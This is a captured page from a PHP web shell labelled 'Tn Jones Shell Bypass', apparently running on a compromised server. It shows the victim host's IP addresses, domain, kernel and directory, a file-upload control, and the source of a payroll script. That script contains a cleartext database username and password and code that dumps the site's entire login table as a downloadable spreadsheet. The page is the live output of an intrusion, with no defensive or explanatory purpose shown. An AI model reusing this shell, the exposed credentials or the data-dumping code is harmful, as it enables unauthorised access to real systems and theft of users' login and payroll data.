Tn Jones Shell Bypass
:
3.16.81.8
:
160.187.54.56 / upgov.net
:
Linux 160-187-54-56.cprapid.com 4.18.0-553.22.1.lve.1.el7h.x86_64 #1 SMP Tue Oct 8 14:36:03 UTC 2024 x86_64
:
/
home
/
upgov
/
www
/
rmpyrll
/
Upload File:
files >> /home/upgov/www/rmpyrll/payrollexcel.php
<?php define ("DB_HOST", "localhost"); define ("DB_USER", "oldserve_payrollrama1"); define ("DB_PASS","Ramaipl@123"); define ("DB_NAME","oldserve_payrollrama1"); $link = mysql_connect(DB_HOST, DB_USER, DB_PASS) or die("Couldn't make connection."); $db = mysql_select_db(DB_NAME, $link) or die("Couldn't select database"); $setCounter = 0; $setExcelName = "payroll_login_username_excel"; $setSql = "select * from login"; $setRec = mysql_query($setSql); $setCounter = mysql_num_fields($setRec); for ($i = 0; $i < $setCounter; $i++) { $setMainHeader .= mysql_field_name($setRec, $i)."\t"; } while($rec = mysql_fetch_row($setRec)) { $rowLine = ''; foreach($rec as $value) { if(!isset($value) || $value == "") { $value = "\t"; } else { //It escape all the special charactor, quotes from the data. $value = strip_tags(str_replace('"', '""', $value)); $value = '"' . $value . '"' . "\t"; } $rowLine .= $value; } $setData .= trim($rowLine)."\n"; } $setData = str_replace("\r", "", $setData); if ($setData == "") { $setData = "\nno matching records found\n"; } $setCounter = mysql_num_fields($setRec); //This Header is used to make data download instead of display the data header("Content-type: application/octet-stream"); header("Content-Disposition: attachment; filename=".$setExcelName."_Reoprt.xls"); header("Pragma: no-cache"); header("Expires: 0"); //It will print all the Table row as Excel file row with selected column name as header. echo ucwords($setMainHeader)."\n".$setData."\n"; ?>